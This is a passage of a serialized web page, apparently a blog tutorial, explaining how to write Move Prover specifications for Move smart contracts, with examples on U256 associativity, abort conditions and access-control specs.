ag":75,"props":23178,"children":23179},{"style":209},[23180],{"type":29,"value":9174},{"type":23,"tag":75,"props":23182,"children":23183},{"style":94},[23184],{"type":29,"value":823},{"type":23,"tag":32,"props":23186,"children":23187},{},[23188],{"type":29,"value":23189},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":64,"props":23191,"children":23193},{"code":23192},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[23194],{"type":23,"tag":71,"props":23195,"children":23196},{"__ignoreMap":7},[23197],{"type":29,"value":23192},{"type":23,"tag":32,"props":23199,"children":23200},{},[23201,23203,23208,23209,23215],{"type":29,"value":23202},"For the ",{"type":23,"tag":16596,"props":23204,"children":23205},{},[23206],{"type":29,"value":23207},"Associative Property",{"type":29,"value":183},{"type":23,"tag":71,"props":23210,"children":23212},{"className":23211},[],[23213],{"type":29,"value":23214},"a+(b+c) = (a+b)+c",{"type":29,"value":23216},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":64,"props":23218,"children":23220},{"code":23219,"language":986,"meta":7,"className":987,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[23221],{"type":23,"tag":71,"props":23222,"children":23223},{"__ignoreMap":7},[23224,23300,23339,23380,23419,23460,23467,23517,23556],{"type":23,"tag":75,"props":23225,"children":23226},{"class":77,"line":78},[23227,23231,23236,23240,23244,23248,23252,23256,23260,23264,23268,23272,23276,23280,23284,23288,23292,23296],{"type":23,"tag":75,"props":23228,"children":23229},{"style":110},[23230],{"type":29,"value":18371},{"type":23,"tag":75,"props":23232,"children":23233},{"style":88},[23234],{"type":29,"value":23235}," add_assoc_property",{"type":23,"tag":75,"props":23237,"children":23238},{"style":94},[23239],{"type":29,"value":643},{"type":23,"tag":75,"props":23241,"children":23242},{"style":110},[23243],{"type":29,"value":940},{"type":23,"tag":75,"props":23245,"children":23246},{"style":209},[23247],{"type":29,"value":1018},{"type":23,"tag":75,"props":23249,"children":23250},{"style":104},[23251],{"type":29,"value":16001},{"type":23,"tag":75,"props":23253,"children":23254},{"style":94},[23255],{"type":29,"value":611},{"type":23,"tag":75,"props":23257,"children":23258},{"style":110},[23259],{"type":29,"value":14507},{"type":23,"tag":75,"props":23261,"children":23262},{"style":209},[23263],{"type":29,"value":1018},{"type":23,"tag":75,"props":23265,"children":23266},{"style":104},[23267],{"type":29,"value":16001},{"type":23,"tag":75,"props":23269,"children":23270},{"style":94},[23271],{"type":29,"value":611},{"type":23,"tag":75,"props":23273,"children":23274},{"style":110},[23275],{"type":29,"value":14432},{"type":23,"tag":75,"props":23277,"children":23278},{"style":209},[23279],{"type":29,"value":1018},{"type":23,"tag":75,"props":23281,"children":23282},{"style":104},[23283],{"type":29,"value":16001},{"type":23,"tag":75,"props":23285,"children":23286},{"style":94},[23287],{"type":29,"value":1347},{"type":23,"tag":75,"props":23289,"children":23290},{"style":209},[23291],{"type":29,"value":1018},{"type":23,"tag":75,"props":23293,"children":23294},{"style":104},[23295],{"type":29,"value":3001},{"type":23,"tag":75,"props":23297,"children":23298},{"style":94},[23299],{"type":29,"value":401},{"type":23,"tag":75,"props":23301,"children":23302},{"class":77,"line":100},[23303,23307,23311,23315,23319,23323,23327,23331,23335],{"type":23,"tag":75,"props":23304,"children":23305},{"style":82},[23306],{"type":29,"value":1183},{"type":23,"tag":75,"props":23308,"children":23309},{"style":110},[23310],{"type":29,"value":19451},{"type":23,"tag":75,"props":23312,"children":23313},{"style":209},[23314],{"type":29,"value":1193},{"type":23,"tag":75,"props":23316,"children":23317},{"style":88},[23318],{"type":29,"value":20832},{"type":23,"tag":75,"props":23320,"children":23321},{"style":94},[23322],{"type":29,"value":643},{"type":23,"tag":75,"props":23324,"children":23325},{"style":110},[23326],{"type":29,"value":14507},{"type":23,"tag":75,"props":23328,"children":23329},{"style":94},[23330],{"type":29,"value":611},{"type":23,"tag":75,"props":23332,"children":23333},{"style":110},[23334],{"type":29,"value":14432},{"type":23,"tag":75,"props":23336,"children":23337},{"style":94},[23338],{"type":29,"value":15099},{"type":23,"tag":75,"props":23340,"children":23341},{"class":77,"line":121},[23342,23346,23351,23355,23359,23363,23367,23371,23376],{"type":23,"tag":75,"props":23343,"children":23344},{"style":82},[23345],{"type":29,"value":1183},{"type":23,"tag":75,"props":23347,"children":23348},{"style":110},[23349],{"type":29,"value":23350}," result_11",{"type":23,"tag":75,"props":23352,"children":23353},{"style":209},[23354],{"type":29,"value":1193},{"type":23,"tag":75,"props":23356,"children":23357},{"style":88},[23358],{"type":29,"value":20832},{"type":23,"tag":75,"props":23360,"children":23361},{"style":94},[23362],{"type":29,"value":643},{"type":23,"tag":75,"props":23364,"children":23365},{"style":110},[23366],{"type":29,"value":940},{"type":23,"tag":75,"props":23368,"children":23369},{"style":94},[23370],{"type":29,"value":611},{"type":23,"tag":75,"props":23372,"children":23373},{"style":110},[23374],{"type":29,"value":23375},"result_1",{"type":23,"tag":75,"props":23377,"children":23378},{"style":94},[23379],{"type":29,"value":15099},{"type":23,"tag":75,"props":23381,"children":23382},{"class":77,"line":138},[23383,23387,23391,23395,23399,23403,23407,23411,23415],{"type":23,"tag":75,"props":23384,"children":23385},{"style":82},[23386],{"type":29,"value":1183},{"type":23,"tag":75,"props":23388,"children":23389},{"style":110},[23390],{"type":29,"value":19477},{"type":23,"tag":75,"props":23392,"children":23393},{"style":209},[23394],{"type":29,"value":1193},{"type":23,"tag":75,"props":23396,"children":23397},{"style":88},[23398],{"type":29,"value":20832},{"type":23,"tag":75,"props":23400,"children":23401},{"style":94},[23402],{"type":29,"value":643},{"type":23,"tag":75,"props":23404,"children":23405},{"style":110},[23406],{"type":29,"value":940},{"type":23,"tag":75,"props":23408,"children":23409},{"style":94},[23410],{"type":29,"value":611},{"type":23,"tag":75,"props":23412,"children":23413},{"style":110},[23414],{"type":29,"value":14507},{"type":23,"tag":75,"props":23416,"children":23417},{"style":94},[23418],{"type":29,"value":15099},{"type":23,"tag":75,"props":23420,"children":23421},{"class":77,"line":161},[23422,23426,23431,23435,23439,23443,23447,23451,23456],{"type":23,"tag":75,"props":23423,"children":23424},{"style":82},[23425],{"type":29,"value":1183},{"type":23,"tag":75,"props":23427,"children":23428},{"style":110},[23429],{"type":29,"value":23430}," result_22",{"type":23,"tag":75,"props":23432,"children":23433},{"style":209},[23434],{"type":29,"value":1193},{"type":23,"tag":75,"props":23436,"children":23437},{"style":88},[23438],{"type":29,"value":20832},{"type":23,"tag":75,"props":23440,"children":23441},{"style":94},[23442],{"type":29,"value":643},{"type":23,"tag":75,"props":23444,"children":23445},{"style":110},[23446],{"type":29,"value":14432},{"type":23,"tag":75,"props":23448,"children":23449},{"style":94},[23450],{"type":29,"value":611},{"type":23,"tag":75,"props":23452,"children":23453},{"style":110},[23454],{"type":29,"value":23455},"result_2",{"type":23,"tag":75,"props":23457,"children":23458},{"style":94},[23459],{"type":29,"value":15099},{"type":23,"tag":75,"props":23461,"children":23462},{"class":77,"line":196},[23463],{"type":23,"tag":75,"props":23464,"children":23465},{"emptyLinePlaceholder":15},[23466],{"type":29,"value":276},{"type":23,"tag":75,"props":23468,"children":23469},{"class":77,"line":220},[23470,23474,23478,23482,23487,23491,23495,23500,23504,23508,23513],{"type":23,"tag":75,"props":23471,"children":23472},{"style":82},[23473],{"type":29,"value":1183},{"type":23,"tag":75,"props":23475,"children":23476},{"style":110},[23477],{"type":29,"value":19119},{"type":23,"tag":75,"props":23479,"children":23480},{"style":209},[23481],{"type":29,"value":1193},{"type":23,"tag":75,"props":23483,"children":23484},{"style":88},[23485],{"type":29,"value":23486}," compare",{"type":23,"tag":75,"props":23488,"children":23489},{"style":94},[23490],{"type":29,"value":643},{"type":23,"tag":75,"props":23492,"children":23493},{"style":209},[23494],{"type":29,"value":1277},{"type":23,"tag":75,"props":23496,"children":23497},{"style":110},[23498],{"type":29,"value":23499},"result_11",{"type":23,"tag":75,"props":23501,"children":23502},{"style":94},[23503],{"type":29,"value":611},{"type":23,"tag":75,"props":23505,"children":23506},{"style":209},[23507],{"type":29,"value":1277},{"type":23,"tag":75,"props":23509,"children":23510},{"style":110},[23511],{"type":29,"value":23512},"result_22",{"type":23,"tag":75,"props":23514,"children":23515},{"style":94},[23516],{"type":29,"value":15099},{"type":23,"tag":75,"props":23518,"children":23519},{"class":77,"line":248},[23520,23524,23529,23533,23537,23542,23546,23551],{"type":23,"tag":75,"props":23521,"children":23522},{"style":175},[23523],{"type":29,"value":1363},{"type":23,"tag":75,"props":23525,"children":23526},{"style":94},[23527],{"type":29,"value":23528}," ( ",{"type":23,"tag":75,"props":23530,"children":23531},{"style":110},[23532],{"type":29,"value":19184},{"type":23,"tag":75,"props":23534,"children":23535},{"style":209},[23536],{"type":29,"value":1372},{"type":23,"tag":75,"props":23538,"children":23539},{"style":94},[23540],{"type":29,"value":23541}," EQUAL ) ",{"type":23,"tag":75,"props":23543,"children":23544},{"style":82},[23545],{"type":29,"value":15268},{"type":23,"tag":75,"props":23547,"children":23548},{"style":175},[23549],{"type":29,"value":23550}," else",{"type":23,"tag":75,"props":23552,"children":23553},{"style":82},[23554],{"type":29,"value":23555}," false\n",{"type":23,"tag":75,"props":23557,"children":23558},{"class":77,"line":270},[23559],{"type":23,"tag":75,"props":23560,"children":23561},{"style":94},[23562],{"type":29,"value":369},{"type":23,"tag":32,"props":23564,"children":23565},{},[23566],{"type":29,"value":23567},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":64,"props":23569,"children":23571},{"code":23570,"language":986,"meta":7,"className":987,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[23572],{"type":23,"tag":71,"props":23573,"children":23574},{"__ignoreMap":7},[23575,23590,23694,23718],{"type":23,"tag":75,"props":23576,"children":23577},{"class":77,"line":78},[23578,23582,23586],{"type":23,"tag":75,"props":23579,"children":23580},{"style":110},[23581],{"type":29,"value":19534},{"type":23,"tag":75,"props":23583,"children":23584},{"style":110},[23585],{"type":29,"value":23235},{"type":23,"tag":75,"props":23587,"children":23588},{"style":94},[23589],{"type":29,"value":401},{"type":23,"tag":75,"props":23591,"children":23592},{"class":77,"line":100},[23593,23597,23601,23606,23610,23614,23618,23622,23626,23630,23634,23638,23642,23646,23650,23654,23658,23662,23666,23670,23674,23678,23682,23686,23690],{"type":23,"tag":75,"props":23594,"children":23595},{"style":110},[23596],{"type":29,"value":21150},{"type":23,"tag":75,"props":23598,"children":23599},{"style":94},[23600],{"type":29,"value":183},{"type":23,"tag":75,"props":23602,"children":23603},{"style":88},[23604],{"type":29,"value":23605},"value_of_U256",{"type":23,"tag":75,"props":23607,"children":23608},{"style":94},[23609],{"type":29,"value":643},{"type":23,"tag":75,"props":23611,"children":23612},{"style":110},[23613],{"type":29,"value":940},{"type":23,"tag":75,"props":23615,"children":23616},{"style":94},[23617],{"type":29,"value":167},{"type":23,"tag":75,"props":23619,"children":23620},{"style":209},[23621],{"type":29,"value":7862},{"type":23,"tag":75,"props":23623,"children":23624},{"style":88},[23625],{"type":29,"value":20952},{"type":23,"tag":75,"props":23627,"children":23628},{"style":94},[23629],{"type":29,"value":643},{"type":23,"tag":75,"props":23631,"children":23632},{"style":110},[23633],{"type":29,"value":14507},{"type":23,"tag":75,"props":23635,"children":23636},{"style":94},[23637],{"type":29,"value":20092},{"type":23,"tag":75,"props":23639,"children":23640},{"style":209},[23641],{"type":29,"value":7862},{"type":23,"tag":75,"props":23643,"children":23644},{"style":88},[23645],{"type":29,"value":20952},{"type":23,"tag":75,"props":23647,"children":23648},{"style":94},[23649],{"type":29,"value":643},{"type":23,"tag":75,"props":23651,"children":23652},{"style":110},[23653],{"type":29,"value":14432},{"type":23,"tag":75,"props":23655,"children":23656},{"style":94},[23657],{"type":29,"value":167},{"type":23,"tag":75,"props":23659,"children":23660},{"style":209},[23661],{"type":29,"value":21191},{"type":23,"tag":75,"props":23663,"children":23664},{"style":104},[23665],{"type":29,"value":20908},{"type":23,"tag":75,"props":23667,"children":23668},{"style":209},[23669],{"type":29,"value":579},{"type":23,"tag":75,"props":23671,"children":23672},{"style":104},[23673],{"type":29,"value":20908},{"type":23,"tag":75,"props":23675,"children":23676},{"style":209},[23677],{"type":29,"value":579},{"type":23,"tag":75,"props":23679,"children":23680},{"style":104},[23681],{"type":29,"value":20908},{"type":23,"tag":75,"props":23683,"children":23684},{"style":209},[23685],{"type":29,"value":579},{"type":23,"tag":75,"props":23687,"children":23688},{"style":104},[23689],{"type":29,"value":20908},{"type":23,"tag":75,"props":23691,"children":23692},{"style":94},[23693],{"type":29,"value":245},{"type":23,"tag":75,"props":23695,"children":23696},{"class":77,"line":121},[23697,23701,23705,23709,23714],{"type":23,"tag":75,"props":23698,"children":23699},{"style":110},[23700],{"type":29,"value":21448},{"type":23,"tag":75,"props":23702,"children":23703},{"style":110},[23704],{"type":29,"value":1241},{"type":23,"tag":75,"props":23706,"children":23707},{"style":209},[23708],{"type":29,"value":1372},{"type":23,"tag":75,"props":23710,"children":23711},{"style":82},[23712],{"type":29,"value":23713}," true",{"type":23,"tag":75,"props":23715,"children":23716},{"style":94},[23717],{"type":29,"value":245},{"type":23,"tag":75,"props":23719,"children":23720},{"class":77,"line":138},[23721],{"type":23,"tag":75,"props":23722,"children":23723},{"style":94},[23724],{"type":29,"value":369},{"type":23,"tag":32,"props":23726,"children":23727},{},[23728],{"type":29,"value":23729},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":64,"props":23731,"children":23732},{"code":23192},[23733],{"type":23,"tag":71,"props":23734,"children":23735},{"__ignoreMap":7},[23736],{"type":29,"value":23192},{"type":23,"tag":32,"props":23738,"children":23739},{},[23740,23742,23749],{"type":29,"value":23741},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":940,"props":23743,"children":23746},{"href":23744,"rel":23745},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[944],[23747],{"type":29,"value":23748},"spec-lang.md",{"type":29,"value":23750}," in the Move Repository.",{"type":23,"tag":24,"props":23752,"children":23754},{"id":23753},"use-cases",[23755],{"type":29,"value":23756},"Use Cases",{"type":23,"tag":32,"props":23758,"children":23759},{},[23760],{"type":29,"value":23761},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":32,"props":23763,"children":23764},{},[23765],{"type":29,"value":23766},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":923,"props":23768,"children":23770},{"id":23769},"error-conditions",[23771],{"type":29,"value":23772},"Error Conditions",{"type":23,"tag":32,"props":23774,"children":23775},{},[23776,23778,23784],{"type":29,"value":23777},"Taking an example from ",{"type":23,"tag":71,"props":23779,"children":23781},{"className":23780},[],[23782],{"type":29,"value":23783},"std::fixed_point32",{"type":29,"value":23785},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":64,"props":23787,"children":23789},{"code":23788,"language":986,"meta":7,"className":987,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[23790],{"type":23,"tag":71,"props":23791,"children":23792},{"__ignoreMap":7},[23793,23814,23834,23855,23901,23909,23972,24011],{"type":23,"tag":75,"props":23794,"children":23795},{"class":77,"line":78},[23796,23800,23805,23810],{"type":23,"tag":75,"props":23797,"children":23798},{"style":110},[23799],{"type":29,"value":20184},{"type":23,"tag":75,"props":23801,"children":23802},{"style":110},[23803],{"type":29,"value":23804}," schema",{"type":23,"tag":75,"props":23806,"children":23807},{"style":104},[23808],{"type":29,"value":23809}," MultiplyAbortsIf",{"type":23,"tag":75,"props":23811,"children":23812},{"style":94},[23813],{"type":29,"value":401},{"type":23,"tag":75,"props":23815,"children":23816},{"class":77,"line":100},[23817,23822,23826,23830],{"type":23,"tag":75,"props":23818,"children":23819},{"style":110},[23820],{"type":29,"value":23821},"          val",{"type":23,"tag":75,"props":23823,"children":23824},{"style":209},[23825],{"type":29,"value":1018},{"type":23,"tag":75,"props":23827,"children":23828},{"style":110},[23829],{"type":29,"value":20981},{"type":23,"tag":75,"props":23831,"children":23832},{"style":94},[23833],{"type":29,"value":245},{"type":23,"tag":75,"props":23835,"children":23836},{"class":77,"line":121},[23837,23842,23846,23851],{"type":23,"tag":75,"props":23838,"children":23839},{"style":110},[23840],{"type":29,"value":23841},"          multiplier",{"type":23,"tag":75,"props":23843,"children":23844},{"style":209},[23845],{"type":29,"value":1018},{"type":23,"tag":75,"props":23847,"children":23848},{"style":104},[23849],{"type":29,"value":23850}," FixedPoint32",{"type":23,"tag":75,"props":23852,"children":23853},{"style":94},[23854],{"type":29,"value":245},{"type":23,"tag":75,"props":23856,"children":23857},{"class":77,"line":138},[23858,23863,23868,23872,23877,23881,23886,23891,23896],{"type":23,"tag":75,"props":23859,"children":23860},{"style":110},[23861],{"type":29,"value":23862},"          aborts_if",{"type":23,"tag":75,"props":23864,"children":23865},{"style":88},[23866],{"type":29,"value":23867}," spec_multiply_u64",{"type":23,"tag":75,"props":23869,"children":23870},{"style":94},[23871],{"type":29,"value":643},{"type":23,"tag":75,"props":23873,"children":23874},{"style":110},[23875],{"type":29,"value":23876},"val",{"type":23,"tag":75,"props":23878,"children":23879},{"style":94},[23880],{"type":29,"value":611},{"type":23,"tag":75,"props":23882,"children":23883},{"style":110},[23884],{"type":29,"value":23885},"multiplier",{"type":23,"tag":75,"props":23887,"children":23888},{"style":94},[23889],{"type":29,"value":23890},") > MAX_U64 ",{"type":23,"tag":75,"props":23892,"children":23893},{"style":110},[23894],{"type":29,"value":23895},"with",{"type":23,"tag":75,"props":23897,"children":23898},{"style":94},[23899],{"type":29,"value":23900}," EMULTIPLICATION;\n",{"type":23,"tag":75,"props":23902,"children":23903},{"class":77,"line":161},[23904],{"type":23,"tag":75,"props":23905,"children":23906},{"style":94},[23907],{"type":29,"value":23908},"      }\n",{"type":23,"tag":75,"props":23910,"children":23911},{"class":77,"line":196},[23912,23916,23920,23924,23928,23932,23936,23940,23944,23948,23952,23956,23960,23964,23968],{"type":23,"tag":75,"props":23913,"children":23914},{"style":110},[23915],{"type":29,"value":20184},{"type":23,"tag":75,"props":23917,"children":23918},{"style":110},[23919],{"type":29,"value":17474},{"type":23,"tag":75,"props":23921,"children":23922},{"style":88},[23923],{"type":29,"value":23867},{"type":23,"tag":75,"props":23925,"children":23926},{"style":94},[23927],{"type":29,"value":643},{"type":23,"tag":75,"props":23929,"children":23930},{"style":110},[23931],{"type":29,"value":23876},{"type":23,"tag":75,"props":23933,"children":23934},{"style":209},[23935],{"type":29,"value":1018},{"type":23,"tag":75,"props":23937,"children":23938},{"style":110},[23939],{"type":29,"value":20981},{"type":23,"tag":75,"props":23941,"children":23942},{"style":94},[23943],{"type":29,"value":611},{"type":23,"tag":75,"props":23945,"children":23946},{"style":110},[23947],{"type":29,"value":23885},{"type":23,"tag":75,"props":23949,"children":23950},{"style":209},[23951],{"type":29,"value":1018},{"type":23,"tag":75,"props":23953,"children":23954},{"style":104},[23955],{"type":29,"value":23850},{"type":23,"tag":75,"props":23957,"children":23958},{"style":94},[23959],{"type":29,"value":1347},{"type":23,"tag":75,"props":23961,"children":23962},{"style":209},[23963],{"type":29,"value":1018},{"type":23,"tag":75,"props":23965,"children":23966},{"style":110},[23967],{"type":29,"value":20981},{"type":23,"tag":75,"props":23969,"children":23970},{"style":94},[23971],{"type":29,"value":401},{"type":23,"tag":75,"props":23973,"children":23974},{"class":77,"line":220},[23975,23979,23983,23987,23992,23996,24001,24006],{"type":23,"tag":75,"props":23976,"children":23977},{"style":94},[23978],{"type":29,"value":19966},{"type":23,"tag":75,"props":23980,"children":23981},{"style":110},[23982],{"type":29,"value":23876},{"type":23,"tag":75,"props":23984,"children":23985},{"style":209},[23986],{"type":29,"value":579},{"type":23,"tag":75,"props":23988,"children":23989},{"style":110},[23990],{"type":29,"value":23991}," multiplier",{"type":23,"tag":75,"props":23993,"children":23994},{"style":209},[23995],{"type":29,"value":557},{"type":23,"tag":75,"props":23997,"children":23998},{"style":94},[23999],{"type":29,"value":24000},"value) ",{"type":23,"tag":75,"props":24002,"children":24003},{"style":209},[24004],{"type":29,"value":24005},">>",{"type":23,"tag":75,"props":24007,"children":24008},{"style":237},[24009],{"type":29,"value":24010}," 32\n",{"type":23,"tag":75,"props":24012,"children":24013},{"class":77,"line":248},[24014],{"type":23,"tag":75,"props":24015,"children":24016},{"style":94},[24017],{"type":29,"value":23908},{"type":23,"tag":923,"props":24019,"children":24021},{"id":24020},"access-control-policies",[24022],{"type":29,"value":24023},"Access Control Policies",{"type":23,"tag":32,"props":24025,"children":24026},{},[24027],{"type":29,"value":24028},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":32,"props":24030,"children":24031},{},[24032,24034,24040,24042,24047],{"type":29,"value":24033},"For example, in ",{"type":23,"tag":71,"props":24035,"children":24037},{"className":24036},[],[24038],{"type":29,"value":24039},"std::offer",{"type":29,"value":24041}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":9690,"props":24043,"children":24044},{},[24045],{"type":29,"value":24046},"or",{"type":29,"value":24048}," the recipient is now allowed.",{"type":23,"tag":64,"props":24050,"children":24052},{"code":24051,"language":986,"meta":7,"className":987,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[24053],{"type":23,"tag":71,"props":24054,"children":24055},{"__ignoreMap":7},[24056,24073,24081,24089,24097,24143,24201,24244,24310],{"type":23,"tag":75,"props":24057,"children":24058},{"class":77,"line":78},[24059,24064,24069],{"type":23,"tag":75,"props":24060,"children":24061},{"style":110},[24062],{"type":29,"value":24063},"    spec",{"type":23,"tag":75,"props":24065,"children":24066},{"style":110},[24067],{"type":29,"value":24068}," redeem",{"type":23,"tag":75,"props":24070,"children":24071},{"style":94},[24072],{"type":29,"value":401},{"type":23,"tag":75,"props":24074,"children":24075},{"class":77,"line":100},[24076],{"type":23,"tag":75,"props":24077,"children":24078},{"style":3621},[24079],{"type":29,"value":24080},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":75,"props":24082,"children":24083},{"class":77,"line":121},[24084],{"type":23,"tag":75,"props":24085,"children":24086},{"style":3621},[24087],{"type":29,"value":24088},"      /// cannot redeem the offer.\n",{"type":23,"tag":75,"props":24090,"children":24091},{"class":77,"line":138},[24092],{"type":23,"tag":75,"props":24093,"children":24094},{"style":3621},[24095],{"type":29,"value":24096},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":75,"props":24098,"children":24099},{"class":77,"line":161},[24100,24104,24108,24112,24116,24121,24125,24130,24134,24139],{"type":23,"tag":75,"props":24101,"children":24102},{"style":110},[24103],{"type":29,"value":20308},{"type":23,"tag":75,"props":24105,"children":24106},{"style":209},[24107],{"type":29,"value":3122},{"type":23,"tag":75,"props":24109,"children":24110},{"style":110},[24111],{"type":29,"value":17969},{"type":23,"tag":75,"props":24113,"children":24114},{"style":94},[24115],{"type":29,"value":295},{"type":23,"tag":75,"props":24117,"children":24118},{"style":104},[24119],{"type":29,"value":24120},"Offer",{"type":23,"tag":75,"props":24122,"children":24123},{"style":94},[24124],{"type":29,"value":295},{"type":23,"tag":75,"props":24126,"children":24127},{"style":104},[24128],{"type":29,"value":24129},"Offered",{"type":23,"tag":75,"props":24131,"children":24132},{"style":94},[24133],{"type":29,"value":17991},{"type":23,"tag":75,"props":24135,"children":24136},{"style":110},[24137],{"type":29,"value":24138},"offer_address",{"type":23,"tag":75,"props":24140,"children":24141},{"style":94},[24142],{"type":29,"value":15099},{"type":23,"tag":75,"props":24144,"children":24145},{"class":77,"line":196},[24146,24150,24154,24159,24163,24167,24171,24175,24180,24184,24188,24192,24197],{"type":23,"tag":75,"props":24147,"children":24148},{"style":110},[24149],{"type":29,"value":20308},{"type":23,"tag":75,"props":24151,"children":24152},{"style":209},[24153],{"type":29,"value":3122},{"type":23,"tag":75,"props":24155,"children":24156},{"style":110},[24157],{"type":29,"value":24158},"is_allowed_recipient",{"type":23,"tag":75,"props":24160,"children":24161},{"style":94},[24162],{"type":29,"value":295},{"type":23,"tag":75,"props":24164,"children":24165},{"style":104},[24166],{"type":29,"value":24129},{"type":23,"tag":75,"props":24168,"children":24169},{"style":94},[24170],{"type":29,"value":18870},{"type":23,"tag":75,"props":24172,"children":24173},{"style":110},[24174],{"type":29,"value":24138},{"type":23,"tag":75,"props":24176,"children":24177},{"style":94},[24178],{"type":29,"value":24179},", signer",{"type":23,"tag":75,"props":24181,"children":24182},{"style":209},[24183],{"type":29,"value":1407},{"type":23,"tag":75,"props":24185,"children":24186},{"style":88},[24187],{"type":29,"value":18471},{"type":23,"tag":75,"props":24189,"children":24190},{"style":94},[24191],{"type":29,"value":643},{"type":23,"tag":75,"props":24193,"children":24194},{"style":110},[24195],{"type":29,"value":24196},"account",{"type":23,"tag":75,"props":24198,"children":24199},{"style":94},[24200],{"type":29,"value":18485},{"type":23,"tag":75,"props":24202,"children":24203},{"class":77,"line":220},[24204,24208,24212,24216,24220,24224,24228,24232,24236,24240],{"type":23,"tag":75,"props":24205,"children":24206},{"style":110},[24207],{"type":29,"value":19446},{"type":23,"tag":75,"props":24209,"children":24210},{"style":209},[24211],{"type":29,"value":3122},{"type":23,"tag":75,"props":24213,"children":24214},{"style":110},[24215],{"type":29,"value":17969},{"type":23,"tag":75,"props":24217,"children":24218},{"style":94},[24219],{"type":29,"value":295},{"type":23,"tag":75,"props":24221,"children":24222},{"style":104},[24223],{"type":29,"value":24120},{"type":23,"tag":75,"props":24225,"children":24226},{"style":94},[24227],{"type":29,"value":295},{"type":23,"tag":75,"props":24229,"children":24230},{"style":104},[24231],{"type":29,"value":24129},{"type":23,"tag":75,"props":24233,"children":24234},{"style":94},[24235],{"type":29,"value":17991},{"type":23,"tag":75,"props":24237,"children":24238},{"style":110},[24239],{"type":29,"value":24138},{"type":23,"tag":75,"props":24241,"children":24242},{"style":94},[24243],{"type":29,"value":15099},{"type":23,"tag":75,"props":24245,"children":24246},{"class":77,"line":248},[24247,24251,24255,24259,24264,24268,24273,24277,24281,24285,24289,24293,24297,24301,24305],{"type":23,"tag":75,"props":24248,"children":24249},{"style":110},[24250],{"type":29,"value":19446},{"type":23,"tag":75,"props":24252,"children":24253},{"style":110},[24254],{"type":29,"value":1241},{"type":23,"tag":75,"props":24256,"children":24257},{"style":209},[24258],{"type":29,"value":1372},{"type":23,"tag":75,"props":24260,"children":24261},{"style":88},[24262],{"type":29,"value":24263}," old",{"type":23,"tag":75,"props":24265,"children":24266},{"style":94},[24267],{"type":29,"value":643},{"type":23,"tag":75,"props":24269,"children":24270},{"style":110},[24271],{"type":29,"value":24272},"global",{"type":23,"tag":75,"props":24274,"children":24275},{"style":94},[24276],{"type":29,"value":295},{"type":23,"tag":75,"props":24278,"children":24279},{"style":104},[24280],{"type":29,"value":24120},{"type":23,"tag":75,"props":24282,"children":24283},{"style":94},[24284],{"type":29,"value":295},{"type":23,"tag":75,"props":24286,"children":24287},{"style":104},[24288],{"type":29,"value":24129},{"type":23,"tag":75,"props":24290,"children":24291},{"style":94},[24292],{"type":29,"value":17991},{"type":23,"tag":75,"props":24294,"children":24295},{"style":110},[24296],{"type":29,"value":24138},{"type":23,"tag":75,"props":24298,"children":24299},{"style":94},[24300],{"type":29,"value":1347},{"type":23,"tag":75,"props":24302,"children":24303},{"style":209},[24304],{"type":29,"value":557},{"type":23,"tag":75,"props":24306,"children":24307},{"style":94},[24308],{"type":29,"value":24309},"offered);\n",{"type":23,"tag":75,"props":24311,"children":24312},{"class":77,"line":270},[24313],{"type":23,"tag":75,"props":24314,"children":24315},{"style":94},[24316],{"type":29,"value":346},{"type":23,"tag":32,"props":24318,"children":24319},{},[24320],{"type":29,"value":24321},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":923,"props":24323,"children":24325},{"id":24324},"complex-mathematical-formulae",[24326],{"type":29,"value":24327},"Complex Mathematical Formulae",{"type":23,"tag":32,"props":24329,"children":24330},{},[24331,24333,24338],{"type":29,"value":24332},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":9690,"props":24334,"children":24335},{},[24336],{"type":29,"value":24337},"always",{"type":29,"value":24339}," the output.",{"type":23,"tag":32,"props":24341,"children":24342},{},[24343],{"type":29,"value":24344},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":32,"props":24346,"children":24347},{},[24348,24350,24357],{"type":29,"value":24349},"For example, in our work with 